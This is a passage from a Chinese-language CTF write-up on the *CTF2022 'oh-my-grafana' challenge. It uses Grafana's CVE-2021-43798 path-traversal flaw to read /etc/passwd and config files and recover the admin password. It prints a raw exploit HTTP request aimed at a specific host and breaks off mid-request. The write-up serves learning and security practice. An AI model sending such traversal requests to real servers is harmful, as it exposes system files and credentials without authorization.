*CTF2022 oh-my-grafana

原创

已于 2022-04-20 09:38:02 修改 · 3.8k 阅读

3 ·

CC 4.0 BY-SA版权

文章标签：

#CTF #Web

于 2022-04-19 10:10:33 首次发布

本文详细介绍了Grafana的CVE-2021-43798漏洞，该漏洞允许未经授权的任意文件读取。通过POC，作者展示了如何读取系统敏感信息，如/etc/passwd和配置文件。通过对比全局和默认配置文件，揭示了admin密码，从而成功登录。此外，还探讨了利用该漏洞获取MySQL数据库信息的可能性。

*CTF2022 oh-my-grafana

文章目录

*CTF2022 oh-my-grafana

CVE-2021-43798

版本号为8.2.6，存在任意文件读取漏洞，CVE-2021-43798
Grafana 未经授权的任意文件读取漏洞复现

可以打通，用这个poc

GET /public/plugins/welcome/../../../../../../../../../etc/passwd HTTP/1.1
Host: 124.71.184.1:3000
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.75 Safari/537.36 Edg/100.0.1185.39
Accept: text/html,application/xhtml+xml,application/xml;q